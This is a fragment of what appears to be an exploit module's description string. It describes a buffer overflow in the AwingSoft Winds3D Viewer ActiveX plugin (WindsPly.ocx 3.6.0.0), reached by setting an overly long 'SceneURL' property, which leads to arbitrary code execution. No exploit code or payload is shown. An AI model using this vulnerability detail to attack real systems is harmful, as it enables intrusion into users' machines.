'Description' => %q{  
This module exploits a data segment buffer overflow within Winds3D Viewer of  
AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of   
AwingSoft Web3D Player.  
By setting an overly long value to the 'SceneURL' property, an attacker can   
overrun a buffer and execute arbitrary code.
